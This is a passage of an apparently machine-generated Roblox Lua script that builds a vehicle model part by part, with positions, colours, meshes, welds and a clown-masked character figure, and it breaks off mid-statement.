  Vehicle_Part.CFrame = CFrame.new(-32.105156,5.334571,182.615311) * CFrame.Angles(-0.000000,1.570796,0.000000)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  pcall(function() Vehicle_Part_Part_to_Part_Strong_Joint = Instance.new(&apos;ManualWeld&apos;, Vehicle_Part)
  Vehicle_Part_Part_to_Part_Strong_Joint.Name = &quot;Part-to-Part Strong Joint&quot; end)
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.251852,4.533338,5.540747)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.251852,0.277037,0.993334)
  Vehicle_Part.CFrame = CFrame.new(-29.221956,1.443533,182.523727) * CFrame.Angles(0.000024,-0.785409,0.000033)
  Vehicle_Part.BrickColor = BrickColor.new(199)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.251852,0.277037,0.993334)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.251852,0.251852,0.369631)
  Vehicle_Part.CFrame = CFrame.new(-44.389778,1.682786,176.319122) * CFrame.Angles(-0.000000,1.570796,0.000000)
  Vehicle_Part.BrickColor = BrickColor.new(199)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.251852,0.251852,0.369631)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.706852,1.341329,0.251852)
  Vehicle_Part.CFrame = CFrame.new(-29.788906,1.952198,182.639679) * CFrame.Angles(-1.570796,0.927294,1.570796)
  Vehicle_Part.BrickColor = BrickColor.new(199)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.706852,1.341329,0.251852)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(5.226303,0.251852,0.251852)
  Vehicle_Part.CFrame = CFrame.new(-45.192490,1.691056,179.618103) * CFrame.Angles(1.570796,1.503998,-1.570796)
  Vehicle_Part.BrickColor = BrickColor.new(199)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  Vehicle_Model = Instance.new(&apos;Model&apos;, Vehicle)
  Vehicle_Model.Name = &quot;&quot;
  Vehicle_Model_Body_Colors = Instance.new(&apos;BodyColors&apos;, Vehicle_Model)
  Vehicle_Model_Body_Colors.Name = &quot;Body Colors&quot;
  Vehicle_Model_Pants = Instance.new(&apos;Pants&apos;, Vehicle_Model)
  Vehicle_Model_Pants.Name = &quot;Pants&quot;
  Vehicle_Model_Pants.PantsTemplate = &quot;http://www.roblox.com/asset/?id=37566406&quot;
  Vehicle_Model_Shirt = Instance.new(&apos;Shirt&apos;, Vehicle_Model)
  Vehicle_Model_Shirt.Name = &quot;Shirt&quot;
  Vehicle_Model_Shirt.ShirtTemplate = &quot;http://www.roblox.com/asset/?id=15557308&quot;
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(5.226303,0.251852,0.251852)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Model_Left_Arm = Instance.new(&apos;Part&apos;, Vehicle_Model)
  Vehicle_Model_Left_Arm.Name = &quot;Left Arm&quot;
  Vehicle_Model_Left_Arm.formFactor = compatibility
  Vehicle_Model_Left_Arm.Anchored = true
  Vehicle_Model_Left_Arm.Size       = Vector3.new(1.000000,2.000000,1.000000)
  Vehicle_Model_Left_Arm.CFrame = CFrame.new(-41.867493,5.034377,179.357117) * CFrame.Angles(1.444427,0.685717,-1.159854)
  Vehicle_Model_Left_Arm.BrickColor = BrickColor.new(106)
  Vehicle_Model_Left_Arm.Transparency = 0.000000
  Vehicle_Model_Left_Arm.CanCollide = false
  Vehicle_Model_Left_Leg = Instance.new(&apos;Part&apos;, Vehicle_Model)
  Vehicle_Model_Left_Leg.Name = &quot;Left Leg&quot;
  Vehicle_Model_Left_Leg.formFactor = compatibility
  Vehicle_Model_Left_Leg.Anchored = true
  Vehicle_Model_Left_Leg.Size       = Vector3.new(1.000000,2.000000,1.000000)
  Vehicle_Model_Left_Leg.CFrame = CFrame.new(-41.881104,3.566611,178.757111) * CFrame.Angles(1.566530,0.002796,-1.570766)
  Vehicle_Model_Left_Leg.BrickColor = BrickColor.new(106)
  Vehicle_Model_Left_Leg.Transparency = 0.000000
  Vehicle_Model_Left_Leg.CanCollide = false
  Vehicle_Model_Right_Arm = Instance.new(&apos;Part&apos;, Vehicle_Model)
  Vehicle_Model_Right_Arm.Name = &quot;Right Arm&quot;
  Vehicle_Model_Right_Arm.formFactor = compatibility
  Vehicle_Model_Right_Arm.Anchored = true
  Vehicle_Model_Right_Arm.Size       = Vector3.new(1.000000,2.000000,1.000000)
  Vehicle_Model_Right_Arm.CFrame = CFrame.new(-42.144672,5.034429,177.377106) * CFrame.Angles(1.749731,0.201335,-2.128626)
  Vehicle_Model_Right_Arm.BrickColor = BrickColor.new(106)
  Vehicle_Model_Right_Arm.Transparency = 0.000000
  Vehicle_Model_Right_Arm.CanCollide = false
  Vehicle_Model_Right_Leg = Instance.new(&apos;Part&apos;, Vehicle_Model)
  Vehicle_Model_Right_Leg.Name = &quot;Right Leg&quot;
  Vehicle_Model_Right_Leg.formFactor = compatibility
  Vehicle_Model_Right_Leg.Anchored = true
  Vehicle_Model_Right_Leg.Size       = Vector3.new(1.000000,2.000000,1.000000)
  Vehicle_Model_Right_Leg.CFrame = CFrame.new(-41.881073,3.562282,177.757156) * CFrame.Angles(1.566530,0.002796,-1.570766)
  Vehicle_Model_Right_Leg.BrickColor = BrickColor.new(106)
  Vehicle_Model_Right_Leg.Transparency = 0.000000
  Vehicle_Model_Right_Leg.CanCollide = false
  Vehicle_Model_Torso = Instance.new(&apos;Part&apos;, Vehicle_Model)
  Vehicle_Model_Torso.Name = &quot;Torso&quot;
  Vehicle_Model_Torso.formFactor = compatibility
  Vehicle_Model_Torso.Anchored = true
  Vehicle_Model_Torso.Size       = Vector3.new(2.000000,2.000000,1.000000)
  Vehicle_Model_Torso.CFrame = CFrame.new(-41.571091,5.034394,178.257202) * CFrame.Angles(0.003999,1.566526,-0.003983)
  Vehicle_Model_Torso.BrickColor = BrickColor.new(106)
  Vehicle_Model_Torso.Transparency = 0.000000
  Vehicle_Model_Torso.CanCollide = true
  Vehicle_Model_Torso_roblox = Instance.new(&apos;Decal&apos;, Vehicle_Model_Torso)
  Vehicle_Model_Torso_roblox.Name = &quot;roblox&quot;
  Vehicle_Model_Torso_roblox.Texture = &quot;&quot;
  Vehicle_Model_Torso_roblox.Face    = Enum.NormalId.Front
  Vehicle_Model_Head = Instance.new(&apos;Part&apos;, Vehicle_Model)
  Vehicle_Model_Head.Name = &quot;Head&quot;
  Vehicle_Model_Head.formFactor = compatibility
  Vehicle_Model_Head.Anchored = true
  Vehicle_Model_Head.Size       = Vector3.new(2.000000,1.000000,1.000000)
  Vehicle_Model_Head.CFrame = CFrame.new(-41.571068,6.534349,178.257233) * CFrame.Angles(0.004005,1.566540,-0.003989)
  Vehicle_Model_Head.BrickColor = BrickColor.new(1001)
  Vehicle_Model_Head.Transparency = 0.000000
  Vehicle_Model_Head.CanCollide = true
  Vehicle_Model_Head_Mesh = Instance.new(&apos;SpecialMesh&apos;, Vehicle_Model_Head)
  Vehicle_Model_Head_Mesh.Name = &quot;Mesh&quot;
  Vehicle_Model_Head_Mesh.MeshType  = Enum.MeshType.Head
  Vehicle_Model_Head_Mesh.Scale     = Vector3.new(1.250000,1.250000,1.250000)
  Vehicle_Model_ClownMask = Instance.new(&apos;Part&apos;, Vehicle_Model)
  Vehicle_Model_ClownMask.Name = &quot;ClownMask&quot;
  Vehicle_Model_ClownMask.formFactor = compatibility
  Vehicle_Model_ClownMask.Anchored = true
  Vehicle_Model_ClownMask.Size       = Vector3.new(1.000000,1.000000,1.000000)
  Vehicle_Model_ClownMask.CFrame = CFrame.new(-42.071064,6.534366,178.252991) * CFrame.Angles(0.004005,1.566540,-0.003989)
  Vehicle_Model_ClownMask.BrickColor = BrickColor.new(194)
  Vehicle_Model_ClownMask.Transparency = 0.000000
  Vehicle_Model_ClownMask.CanCollide = false
  Vehicle_Model_ClownMask_Mesh = Instance.new(&apos;SpecialMesh&apos;, Vehicle_Model_ClownMask)
  Vehicle_Model_ClownMask_Mesh.Name = &quot;Mesh&quot;
  Vehicle_Model_ClownMask_Mesh.MeshType  = Enum.MeshType.FileMesh
  Vehicle_Model_ClownMask_Mesh.MeshId    = &quot;http://www.roblox.com/asset/?id=13520257&quot;
  Vehicle_Model_ClownMask_Mesh.TextureId = &quot;http://www.roblox.com/asset/?id=13520260&quot;
  Vehicle_Model_ClownMask_Mesh.Scale     = Vector3.new(1.100000,1.000000,1.000000)
  Vehicle_Model_ClownTop = Instance.new(&apos;Part&apos;, Vehicle_Model)
  Vehicle_Model_ClownTop.Name = &quot;ClownTop&quot;
  Vehicle_Model_ClownTop.formFactor = compatibility
  Vehicle_Model_ClownTop.Anchored = true
  Vehicle_Model_ClownTop.Size       = Vector3.new(2.000000,2.000000,2.000000)
  Vehicle_Model_ClownTop.CFrame = CFrame.new(-41.671005,6.534346,178.256699) * CFrame.Angles(0.004005,1.566540,-0.003989)
  Vehicle_Model_ClownTop.BrickColor = BrickColor.new(194)
  Vehicle_Model_ClownTop.Transparency = 0.000000
  Vehicle_Model_ClownTop.CanCollide = false
  Vehicle_Model_ClownTop_Mesh = Instance.new(&apos;SpecialMesh&apos;, Vehicle_Model_ClownTop)
  Vehicle_Model_ClownTop_Mesh.Name = &quot;Mesh&quot;
  Vehicle_Model_ClownTop_Mesh.MeshType  = Enum.MeshType.FileMesh
  Vehicle_Model_ClownTop_Mesh.MeshId    = &quot;http://www.roblox.com/asset/?id=15393031&quot;
  Vehicle_Model_ClownTop_Mesh.TextureId = &quot;http://www.roblox.com/asset/?id=15393013&quot;
  Vehicle_Model_ClownTop_Mesh.Scale     = Vector3.new(1.000000,1.000000,1.000000)
  Vehicle_Model_Humanoid = Instance.new(&apos;Humanoid&apos;, Vehicle_Model)
  Vehicle_Model_Humanoid.Name = &quot;Humanoid&quot;
  Vehicle_Model_Humanoid.Health    = 0
  Vehicle_Model_Humanoid.MaxHealth = 0
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.251852,0.251852,1.070371)
  Vehicle_Part.CFrame = CFrame.new(-33.333000,2.060559,182.867111) * CFrame.Angles(-1.570796,0.643499,1.570796)
  Vehicle_Part.BrickColor = BrickColor.new(199)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.251852,0.251852,1.070371)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(3.777781,0.503704,0.251852)
  Vehicle_Part.CFrame = CFrame.new(-45.053997,2.817631,179.593124) * CFrame.Angles(1.570796,1.503998,-1.570796)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(3.777781,0.503704,0.251852)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.251852,1.599261,0.251852)
  Vehicle_Part.CFrame = CFrame.new(-41.540405,2.697656,176.319138) * CFrame.Angles(-1.570796,0.321749,1.570796)
  Vehicle_Part.BrickColor = BrickColor.new(199)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.251852,1.599261,0.251852)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(6.296302,0.503704,0.755556)
  Vehicle_Part.CFrame = CFrame.new(-33.490425,2.816123,179.593124) * CFrame.Angles(-0.000000,1.570796,0.000000)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  pcall(function() Vehicle_Part_Part_to_Part_Strong_Joint = Instance.new(&apos;ManualWeld&apos;, Vehicle_Part)
  Vehicle_Part_Part_to_Part_Strong_Joint.Name = &quot;Part-to-Part Strong Joint&quot; end)
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(6.296302,0.503704,0.755556)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.251852,0.277037,5.616302)
  Vehicle_Part.CFrame = CFrame.new(-28.764832,1.445437,179.594498) * CFrame.Angles(0.000002,0.000000,0.000002)
  Vehicle_Part.BrickColor = BrickColor.new(199)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.251852,0.277037,5.616302)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.251852,1.599261,0.251852)
  Vehicle_Part.CFrame = CFrame.new(-30.888878,2.697665,182.867157) * CFrame.Angles(-1.570796,0.321749,1.570796)
  Vehicle_Part.BrickColor = BrickColor.new(199)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.251852,1.599261,0.251852)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.251852,1.082964,0.251852)
  Vehicle_Part.CFrame = CFrame.new(-40.517807,2.055509,182.867142) * CFrame.Angles(-1.570796,0.927294,1.570796)
  Vehicle_Part.BrickColor = BrickColor.new(199)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  pcall(function() Vehicle_Part_Part_to_Part_Strong_Joint = Instance.new(&apos;ManualWeld&apos;, Vehicle_Part)
  Vehicle_Part_Part_to_Part_Strong_Joint.Name = &quot;Part-to-Part Strong Joint&quot; end)
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.251852,1.082964,0.251852)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.251852,0.251852,0.329631)
  Vehicle_Part.CFrame = CFrame.new(-44.369785,1.682924,182.867096) * CFrame.Angles(-0.000000,1.570796,0.000000)
  Vehicle_Part.BrickColor = BrickColor.new(199)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.251852,0.251852,0.329631)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.631852,1.234075,0.251852)
  Vehicle_Part.CFrame = CFrame.new(-29.821045,1.995125,176.509155) * CFrame.Angles(-1.570796,0.927294,1.570796)
  Vehicle_Part.BrickColor = BrickColor.new(199)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.631852,1.234075,0.251852)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.251852,1.762965,3.525930)
  Vehicle_Part.CFrame = CFrame.new(-41.927177,3.949479,176.570953) * CFrame.Angles(-0.000000,1.570796,0.000000)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  pcall(function() Vehicle_Part_Part_to_Part_Strong_Joint = Instance.new(&apos;ManualWeld&apos;, Vehicle_Part)
  Vehicle_Part_Part_to_Part_Strong_Joint.Name = &quot;Part-to-Part Strong Joint&quot;
  Vehicle_Part_Part_to_Part_Strong_Joint = Instance.new(&apos;ManualWeld&apos;, Vehicle_Part)
  Vehicle_Part_Part_to_Part_Strong_Joint.Name = &quot;Part-to-Part Strong Joint&quot;
  Vehicle_Part_Part_to_Part_Strong_Joint = Instance.new(&apos;ManualWeld&apos;, Vehicle_Part)
  Vehicle_Part_Part_to_Part_Strong_Joint.Name = &quot;Part-to-Part Strong Joint&quot; end)
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.251852,1.762965,3.525930)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(5.792598,3.639263,0.251852)
  Vehicle_Part.CFrame = CFrame.new(-42.967609,6.065519,179.593155) * CFrame.Angles(1.570796,0.982798,-1.570796)
  Vehicle_Part.BrickColor = BrickColor.new(311)
  Vehicle_Part.Transparency = 0.300000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(5.792598,3.639263,0.251852)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.503704,1.007408,0.251852)
  Vehicle_Part.CFrame = CFrame.new(-45.104408,2.063765,181.230133) * CFrame.Angles(1.570796,1.503998,-1.570796)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.503704,1.007408,0.251852)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.251852,1.586668,0.251852)
  Vehicle_Part.CFrame = CFrame.new(-42.971764,2.695667,176.319153) * CFrame.Angles(-1.570796,-0.321754,1.570796)
  Vehicle_Part.BrickColor = BrickColor.new(199)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.251852,1.586668,0.251852)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.503704,0.251852,0.251852)
  Vehicle_Part.CFrame = CFrame.new(-45.061447,2.338831,177.350555) * CFrame.Angles(1.570796,1.503998,-1.570796)
  Vehicle_Part.BrickColor = BrickColor.new(133)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.503704,0.251852,0.251852)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(5.792598,0.251852,12.592604)
  Vehicle_Part.CFrame = CFrame.new(-35.631126,7.727136,179.593140) * CFrame.Angles(-0.000000,1.570796,0.000000)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  pcall(function() Vehicle_Part_Part_to_Part1_Strong_Joint = Instance.new(&apos;ManualWeld&apos;, Vehicle_Part)
  Vehicle_Part_Part_to_Part1_Strong_Joint.Name = &quot;Part-to-Part1 Strong Joint&quot; end)
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(5.792598,0.251852,12.592604)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.503704,0.251852,0.251852)
  Vehicle_Part.CFrame = CFrame.new(-45.061501,2.338542,181.835648) * CFrame.Angles(1.570796,1.503998,-1.570796)
  Vehicle_Part.BrickColor = BrickColor.new(133)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.503704,0.251852,0.251852)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(6.087357,0.503690,0.508171)
  Vehicle_Part.CFrame = CFrame.new(-29.078125,4.561154,182.491638) * CFrame.Angles(-3.141593,0.000000,-1.570796)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  Vehicle_Part_Mesh = Instance.new(&apos;SpecialMesh&apos;, Vehicle_Part)
  Vehicle_Part_Mesh.Name = &quot;Mesh&quot;
  Vehicle_Part_Mesh.MeshType  = Enum.MeshType.Wedge
  Vehicle_Part_Mesh.Scale     = Vector3.new(1.000000,1.000000,1.000000)
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(6.087357,0.503690,0.508171)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
